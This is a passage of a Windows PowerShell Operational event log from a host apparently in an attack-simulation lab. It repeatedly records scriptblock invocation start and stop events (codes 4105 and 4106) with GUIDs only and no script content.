Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045473
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045472
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045471
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045470
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045454
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045453
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045448
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045447
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
